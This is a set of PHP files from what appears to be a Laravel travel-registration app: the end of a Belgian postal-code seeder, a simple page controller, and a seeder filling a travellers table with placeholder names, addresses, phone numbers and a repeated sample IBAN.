'zip_code' => 7970), array('city' => 'Belsele', 'zip_code' => 9111), array('city' => 'Ben-ahin', 'zip_code' => 4500), array('city' => 'Bende', 'zip_code' => 6941), array('city' => 'Berbroek', 'zip_code' => 3540), array('city' => 'Berchem', 'zip_code' => 2600), array('city' => 'Berchem', 'zip_code' => 9690), array('city' => 'Berendrecht', 'zip_code' => 2040), array('city' => 'Berg', 'zip_code' => 1910), array('city' => 'Berg', 'zip_code' => 3700), array('city' => 'Bergilers', 'zip_code' => 4360), array('city' => 'Beringen', 'zip_code' => 3580), array('city' => 'Berlaar', 'zip_code' => 2590), array('city' => 'Berlare', 'zip_code' => 9290), array('city' => 'Berlingen', 'zip_code' => 3830), array('city' => 'Berloz', 'zip_code' => 4257), array('city' => 'Berneau', 'zip_code' => 4607), array('city' => 'Bernissart', 'zip_code' => 7320), array('city' => 'Bersillies-l\'abbaye', 'zip_code' => 6560), array('city' => 'Bertem', 'zip_code' => 3060), array('city' => 'Bertogne', 'zip_code' => 6687), array('city' => 'Bertrée', 'zip_code' => 4280), array('city' => 'Bertrix', 'zip_code' => 6880), array('city' => 'Berzée', 'zip_code' => 5651), array('city' => 'Beselare', 'zip_code' => 8980), array('city' => 'Betekom', 'zip_code' => 3130), array('city' => 'Bettincourt', 'zip_code' => 4300), array('city' => 'Beuzet', 'zip_code' => 5030), array('city' => 'Bevel', 'zip_code' => 2560), array('city' => 'Bever', 'zip_code' => 1547), array('city' => 'Bevercé', 'zip_code' => 4960), array('city' => 'Bevere', 'zip_code' => 9700), array('city' => 'Beveren', 'zip_code' => 8791), array('city' => 'Beveren', 'zip_code' => 8800), array('city' => 'Beveren-aan-de-ijzer', 'zip_code' => 8691), array('city' => 'Beveren-waas', 'zip_code' => 9120), array('city' => 'Beverlo', 'zip_code' => 3581), array('city' => 'Beverst', 'zip_code' => 3740), array('city' => 'Beyne-heusay', 'zip_code' => 4610), array('city' => 'Bienne-lez-happart', 'zip_code' => 6543), array('city' => 'Bierbeek', 'zip_code' => 3360), array('city' => 'Biercée', 'zip_code' => 6533), array('city' => 'Bierges', 'zip_code' => 1301), array('city' => 'Bierghes', 'zip_code' => 1430), array('city' => 'Bierset', 'zip_code' => 4460), array('city' => 'Bierwart', 'zip_code' => 5380), array('city' => 'Biesme', 'zip_code' => 5640), array('city' => 'Biesme-sous-thuin', 'zip_code' => 6531), array('city' => 'Biesmerée', 'zip_code' => 5640), array('city' => 'BiÈvre', 'zip_code' => 5555), array('city' => 'Biez', 'zip_code' => 1390), array('city' => 'Bihain', 'zip_code' => 6690), array('city' => 'Bikschote', 'zip_code' => 8920), array('city' => 'Bilstain', 'zip_code' => 4831), array('city' => 'Bilzen', 'zip_code' => 3740), array('city' => 'Binche', 'zip_code' => 7130), array('city' => 'Binderveld', 'zip_code' => 3850), array('city' => 'Binkom', 'zip_code' => 3211), array('city' => 'Bioul', 'zip_code' => 5537), array('city' => 'Bissegem', 'zip_code' => 8501), array('city' => 'Bizet', 'zip_code' => 7783), array('city' => 'Blaasveld', 'zip_code' => 2830), array('city' => 'Blaimont', 'zip_code' => 5542), array('city' => 'Blandain', 'zip_code' => 7522), array('city' => 'Blanden', 'zip_code' => 3052), array('city' => 'Blankenberge', 'zip_code' => 8370), array('city' => 'Blaregnies', 'zip_code' => 7040), array('city' => 'Blaton', 'zip_code' => 7321), array('city' => 'Blaugies', 'zip_code' => 7370), array('city' => 'BlÉgny', 'zip_code' => 4670), array('city' => 'Bléharies', 'zip_code' => 7620), array('city' => 'Blehen', 'zip_code' => 4280), array('city' => 'Bleid', 'zip_code' => 6760), array('city' => 'Bleret', 'zip_code' => 4300), array('city' => 'Blicquy', 'zip_code' => 7903), array('city' => 'Bocholt', 'zip_code' => 3950), array('city' => 'Bodegnée', 'zip_code' => 4537), array('city' => 'Boechout', 'zip_code' => 2530), array('city' => 'Boekhout', 'zip_code' => 3890), array('city' => 'Boekhoute', 'zip_code' => 9961), array('city' => 'Boëlhe', 'zip_code' => 4250), array('city' => 'Boezinge', 'zip_code' => 8904), array('city' => 'Bogaarden', 'zip_code' => 1670), array('city' => 'Bohan', 'zip_code' => 5550), array('city' => 'Boignée', 'zip_code' => 5140), array('city' => 'Boirs', 'zip_code' => 4690), array('city' => 'Bois-d\'haine', 'zip_code' => 7170), array('city' => 'Bois-de-lessines', 'zip_code' => 7866), array('city' => 'Bois-de-villers', 'zip_code' => 5170), array('city' => 'Bois-et-borsu', 'zip_code' => 4560), array('city' => 'Bolinne', 'zip_code' => 5310), array('city' => 'Bolland', 'zip_code' => 4653), array('city' => 'Bomal', 'zip_code' => 1367), array('city' => 'Bomal-sur-ourthe', 'zip_code' => 6941), array('city' => 'Bombaye', 'zip_code' => 4607), array('city' => 'Bommershoven', 'zip_code' => 3840), array('city' => 'Bon-secours', 'zip_code' => 7603), array('city' => 'Boncelles', 'zip_code' => 4100), array('city' => 'Boneffe', 'zip_code' => 5310), array('city' => 'Bonheiden', 'zip_code' => 2820), array('city' => 'Boninne', 'zip_code' => 5021), array('city' => 'Bonlez', 'zip_code' => 1325), array('city' => 'Bonnert', 'zip_code' => 6700), array('city' => 'Bonneville', 'zip_code' => 5300), array('city' => 'Bonsin', 'zip_code' => 5377), array('city' => 'Booischot', 'zip_code' => 2221), array('city' => 'Booitshoeke', 'zip_code' => 8630), array('city' => 'Boom', 'zip_code' => 2850), array('city' => 'Boorsem', 'zip_code' => 3631), array('city' => 'Boortmeerbeek', 'zip_code' => 3190), array('city' => 'Borchtlombeek', 'zip_code' => 1761), array('city' => 'Borgerhout', 'zip_code' => 2140), array('city' => 'Borgloon', 'zip_code' => 3840), array('city' => 'Borlez', 'zip_code' => 4317), array('city' => 'Borlo', 'zip_code' => 3891), array('city' => 'Borlon', 'zip_code' => 6941), array('city' => 'Bornem', 'zip_code' => 2880), array('city' => 'Bornival', 'zip_code' => 1404), array('city' => 'Borsbeek', 'zip_code' => 2150), array('city' => 'Borsbeke', 'zip_code' => 9552), array('city' => 'Bossière', 'zip_code' => 5032), array('city' => 'Bossuit', 'zip_code' => 8583), array('city' => 'Bossut-gottechain', 'zip_code' => 1390), array('city' => 'Bost', 'zip_code' => 3300), array('city' => 'Bothey', 'zip_code' => 5032), array('city' => 'Bottelare', 'zip_code' => 9820), array('city' => 'Bouffioulx', 'zip_code' => 6200), array('city' => 'Bouge', 'zip_code' => 5004), array('city' => 'Bougnies', 'zip_code' => 7040), array('city' => 'Bouillon', 'zip_code' => 6830), array('city' => 'Bourlers', 'zip_code' => 6464), array('city' => 'Bourseigne-neuve', 'zip_code' => 5575), array('city' => 'Bourseigne-vieille', 'zip_code' => 5575), array('city' => 'Boussoit', 'zip_code' => 7110), array('city' => 'Boussu', 'zip_code' => 7300), array('city' => 'Boussu-en-fagne', 'zip_code' => 5660), array('city' => 'Boussu-lez-walcourt', 'zip_code' => 6440), array('city' => 'Bousval', 'zip_code' => 1470), array('city' => 'Boutersem', 'zip_code' => 3370), array('city' => 'Bouvignes-sur-meuse', 'zip_code' => 5500), array('city' => 'Bouvignies', 'zip_code' => 7803), array('city' => 'Bouwel', 'zip_code' => 2288), array('city' => 'Bovekerke', 'zip_code' => 8680), array('city' => 'Bovelingen', 'zip_code' => 3870), array('city' => 'Bovenistier', 'zip_code' => 4300), array('city' => 'Bovesse', 'zip_code' => 5081), array('city' => 'Bovigny', 'zip_code' => 6671), array('city' => 'Bra', 'zip_code' => 4990), array('city' => 'Braffe', 'zip_code' => 7604), array('city' => 'Braibant', 'zip_code' => 5590), array('city' => 'Braine-l\'alleud', 'zip_code' => 1420), array('city' => 'Braine-le-chÂteau', 'zip_code' => 1440), array('city' => 'Braine-le-comte', 'zip_code' => 7090), array('city' => 'Braives', 'zip_code' => 4260), array('city' => 'Brakel', 'zip_code' => 9660), array('city' => 'Branchon', 'zip_code' => 5310), array('city' => 'Bras', 'zip_code' => 6800), array('city' => 'Brasmenil', 'zip_code' => 7604), array('city' => 'Brasschaat', 'zip_code' => 2930), array('city' => 'Bray', 'zip_code' => 7130), array('city' => 'Brecht', 'zip_code' => 2960), array('city' => 'Bredene', 'zip_code' => 8450), array('city' => 'Bree', 'zip_code' => 3960), array('city' => 'Breendonk', 'zip_code' => 2870), array('city' => 'Bressoux', 'zip_code' => 4020), array('city' => 'Brielen', 'zip_code' => 8900), array('city' => 'Broechem', 'zip_code' => 2520), array('city' => 'Broekom', 'zip_code' => 3840), array('city' => 'Brucargo', 'zip_code' => 1931), array('city' => 'Brugelette', 'zip_code' => 7940), array('city' => 'Brugge', 'zip_code' => 8000), array('city' => 'Brûly', 'zip_code' => 5660), array('city' => 'Brûly-de-pesche', 'zip_code' => 5660), array('city' => 'Brussegem', 'zip_code' => 1785), array('city' => 'Brussel', 'zip_code' => 1000), array('city' => 'Brussel x', 'zip_code' => 1099), array('city' => 'Brustem', 'zip_code' => 3800), array('city' => 'Bruyelle', 'zip_code' => 7641), array('city' => 'Brye', 'zip_code' => 6222), array('city' => 'Budingen', 'zip_code' => 3440), array('city' => 'Buggenhout', 'zip_code' => 9255), array('city' => 'Buissenal', 'zip_code' => 7911), array('city' => 'Buissonville', 'zip_code' => 5580), array('city' => 'Buizingen', 'zip_code' => 1501), array('city' => 'Buken', 'zip_code' => 1910), array('city' => 'Bullange', 'zip_code' => 4760), array('city' => 'Bulskamp', 'zip_code' => 8630), array('city' => 'Bunsbeek', 'zip_code' => 3380), array('city' => 'Burcht', 'zip_code' => 2070), array('city' => 'Burdinne', 'zip_code' => 4210), array('city' => 'Bure', 'zip_code' => 6927), array('city' => 'Burst', 'zip_code' => 9420), array('city' => 'Bury', 'zip_code' => 7602), array('city' => 'Butgenbach', 'zip_code' => 4750), array('city' => 'Buvingen', 'zip_code' => 3891), array('city' => 'Buvrinnes', 'zip_code' => 7133), array('city' => 'Buzenol', 'zip_code' => 6743), array('city' => 'Buzet', 'zip_code' => 6230), array('city' => 'Callenelle', 'zip_code' => 7604), array('city' => 'Calonne', 'zip_code' => 7642), array('city' => 'Cambron-casteau', 'zip_code' => 7940), array('city' => 'Cambron-saint-vincent', 'zip_code' => 7870), array('city' => 'Cargovil', 'zip_code' => 1804), array('city' => 'Carlsbourg', 'zip_code' => 6850), array('city' => 'Carnières', 'zip_code' => 7141), array('city' => 'Casteau', 'zip_code' => 7061), array('city' => 'Castillon', 'zip_code' => 5650), array('city' => 'Celles', 'zip_code' => 4317), array('city' => 'Celles', 'zip_code' => 5561), array('city' => 'Celles', 'zip_code' => 7760), array('city' => 'Cérexhe-heuseux', 'zip_code' => 4632), array('city' => 'Cerfontaine', 'zip_code' => 5630), array('city' => 'Céroux-mousty', 'zip_code' => 1341), array('city' => 'Chaineux', 'zip_code' => 4650), array('city' => 'Chairière', 'zip_code' => 5550), array('city' => 'Champion', 'zip_code' => 5020), array('city' => 'Champlon', 'zip_code' => 6971), array('city' => 'Chanly', 'zip_code' => 6921), array('city' => 'Chantemelle', 'zip_code' => 6742), array('city' => 'Chapelle-À-oie', 'zip_code' => 7903), array('city' => 'Chapelle-À-wattines', 'zip_code' => 7903), array('city' => 'Chapelle-lez-herlaimont', 'zip_code' => 7160), array('city' => 'Chapon-seraing', 'zip_code' => 4537), array('city' => 'Charleroi', 'zip_code' => 6000), array('city' => 'Charleroi x', 'zip_code' => 6099), array('city' => 'Charneux', 'zip_code' => 4654), array('city' => 'Chassepierre', 'zip_code' => 6824), array('city' => 'Chastre-villeroux-blanmont', 'zip_code' => 1450), array('city' => 'Chastrès', 'zip_code' => 5650), array('city' => 'ChÂtelet', 'zip_code' => 6200), array('city' => 'Châtelineau', 'zip_code' => 6200), array('city' => 'Châtillon', 'zip_code' => 6747), array('city' => 'Chaudfontaine', 'zip_code' => 4050), array('city' => 'Chaumont-gistoux', 'zip_code' => 1325), array('city' => 'Chaussée-notre-dame-louvignies', 'zip_code' => 7063), array('city' => 'Chênee', 'zip_code' => 4032), array('city' => 'Cherain', 'zip_code' => 6673), array('city' => 'Cheratte', 'zip_code' => 4602), array('city' => 'Chercq', 'zip_code' => 7521), array('city' => 'Chevetogne', 'zip_code' => 5590), array('city' => 'Chevron', 'zip_code' => 4987), array('city' => 'ChiÈvres', 'zip_code' => 7950), array('city' => 'Chimay', 'zip_code' => 6460), array('city' => 'Chiny', 'zip_code' => 6810), array('city' => 'Chokier', 'zip_code' => 4400), array('city' => 'Christelijke sociale organisaties', 'zip_code' => 1031), array('city' => 'Ciergnon', 'zip_code' => 5560), array('city' => 'Ciney', 'zip_code' => 5590), array('city' => 'Ciplet', 'zip_code' => 4260), array('city' => 'Ciply', 'zip_code' => 7024), array('city' => 'Clabecq', 'zip_code' => 1480), array('city' => 'Clavier', 'zip_code' => 4560), array('city' => 'Clermont', 'zip_code' => 4890), array('city' => 'Clermont', 'zip_code' => 5650), array('city' => 'Clermont-sous-huy', 'zip_code' => 4480), array('city' => 'Cognelée', 'zip_code' => 5022), array('city' => 'Colfontaine', 'zip_code' => 7340), array('city' => 'Comblain-au-pont', 'zip_code' => 4170), array('city' => 'Comblain-fairon', 'zip_code' => 4180), array('city' => 'Comblain-la-tour', 'zip_code' => 4180), array('city' => 'Conneux', 'zip_code' => 5590), array('city' => 'Corbais', 'zip_code' => 1435), array('city' => 'Corbion', 'zip_code' => 6838), array('city' => 'Cordes', 'zip_code' => 7910), array('city' => 'Corenne', 'zip_code' => 5620), array('city' => 'Cornesse', 'zip_code' => 4860), array('city' => 'Cornimont', 'zip_code' => 5555), array('city' => 'Corporate village', 'zip_code' => 1935), array('city' => 'Corroy-le-château', 'zip_code' => 5032), array('city' => 'Corroy-le-grand', 'zip_code' => 1325), array('city' => 'Corswarem', 'zip_code' => 4257), array('city' => 'Cortil-noirmont', 'zip_code' => 1450), array('city' => 'Cortil-wodon', 'zip_code' => 5380), array('city' => 'Couillet', 'zip_code' => 6010), array('city' => 'Cour-sur-heure', 'zip_code' => 6120), array('city' => 'Courcelles', 'zip_code' => 6180), array('city' => 'Courrière', 'zip_code' => 5336), )); } } <file_sep><?php namespace App\Http\Controllers\GuestAccess; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Repositories\Contracts\PageRepository; class HomeController extends Controller { /** * * @var PageRepository */ private $pages; /** * Create a new controller instance. * * @return void */ public function __construct(PageRepository $page) { $this->pages = $page; } /** * This function shows the home page in the front-end * * @author <NAME> * * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function home(){ //$page = PageModel::getHomePage(); $page = $this->pages->get('home'); return view('guest.home', array( 'page' => $page )); } /** * This function shows a page in the front-end * * @author <NAME> * * @param $pageName * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ function showPage($pageName) { $page = $this->pages->get($pageName); return view('guest.contentpage', array( 'page' => $page )); } } <file_sep><?php use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; class TravellersTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // <NAME> DB::table('travellers')->insert([ 'user_id' => 3, 'zip_id' =>1, 'major_id' =>5, 'first_name' => 'Stefan', 'last_name' => 'Segers', 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'sprinkhaanstraat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); // <NAME> DB::table('travellers')->insert([ 'user_id' => 4, 'zip_id' =>2, 'major_id' =>5, 'first_name' => 'Rudi', 'last_name' => 'Roox', 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'herenstraat 35', 'gender' => 'Man', 'phone' => '0470825096', 'emergency_phone_1' => '011335526', 'emergency_phone_2' => null, 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Genk', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); // <NAME> DB::table('travellers')->insert([ 'user_id' => 5, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Daan', 'last_name' => 'Vandebosch', 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'daan zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); // <NAME> DB::table('travellers')->insert([ 'user_id' => 6, 'zip_id' =>4, 'major_id' =>1, 'first_name' => 'Kaan', 'last_name' => 'Akpinar', 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'kaan zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); // <NAME> DB::table('travellers')->insert([ 'user_id' => 7, 'zip_id' =>3, 'major_id' =>1, 'first_name' => 'Joren', 'last_name' => 'Meynen', 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'joren zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); // <NAME> DB::table('travellers')->insert([ 'user_id' => 8, 'zip_id' =>1, 'major_id' =>1, 'first_name' => 'Michiel', 'last_name' => 'Guilliams', 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'michiel zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); // <NAME> DB::table('travellers')->insert([ 'user_id' => 9, 'zip_id' =>3, 'major_id' =>1, 'first_name' => 'Nicolaas', 'last_name' => 'Schelfhout', 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'nicolaas zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); // <NAME> DB::table('travellers')->insert([ 'user_id' => 10, 'zip_id' =>3, 'major_id' =>1, 'first_name' => 'Robin', 'last_name' => 'Machiels', 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'robin zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); // Sasha Van De Voorde DB::table('travellers')->insert([ 'user_id' => 11, 'zip_id' =>5, 'major_id' =>1, 'first_name' => 'Sasha', 'last_name' => 'Vandevoorde', 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'sasha zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); // <NAME> DB::table('travellers')->insert([ 'user_id' => 12, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Stef', 'last_name' => 'Kerkhofs', 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'stef zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); // <NAME> DB::table('travellers')->insert([ 'user_id' => 13, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Yoeri', 'last_name' => "<NAME>", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'yoeri zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); // <NAME> DB::table('travellers')->insert([ 'user_id' => 14, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Jan', 'last_name' => "Modaal", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'jan zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 15, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Piet', 'last_name' => "Janssen", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'piet zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 16, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Toon', 'last_name' => "Peeters", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'toon zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 17, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Gert', 'last_name' => "Nullens", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'gert zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 18, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Bram', 'last_name' => "Bongers", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'bram zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 19, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Tom', 'last_name' => "Moons", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'tom zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 20, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Jens', 'last_name' => "Janssen", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'jens zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 21, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Martijn', 'last_name' => "Theunissen", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'martijn zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 22, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Steve', 'last_name' => "Stevens", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'steve zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 23, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Dario', 'last_name' => "Thielens", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'dario zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 24, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Bert', 'last_name' => "Bertens", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'bert zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 25, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Piet', 'last_name' => "Pieters", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'piet zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 26, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Rudy', 'last_name' => "Verboven", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'rudy zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 27, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Johnny', 'last_name' => "Bravo", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'johnny zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 28, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Bjorn', 'last_name' => "Mertens", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'bjorn zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 'medical_issue' => false, 'medical_info' => null ]); //<NAME> DB::table('travellers')->insert([ 'user_id' => 29, 'zip_id' =>2, 'major_id' =>1, 'first_name' => 'Jan', 'last_name' => "Tomassen", 'email' => '<EMAIL>', 'country' => 'belgië', 'address' => 'jan zijn straat 15', 'gender' => 'Man', 'phone' => '0474567892', 'emergency_phone_1' => '0471852963', 'emergency_phone_2' => '0471717171', 'nationality' => 'belg', 'birthdate' => '2000-01-01', 'birthplace' => 'Diest', 'iban' => 'BE68539007547034', 'bic' => 'ARSP BE 22', 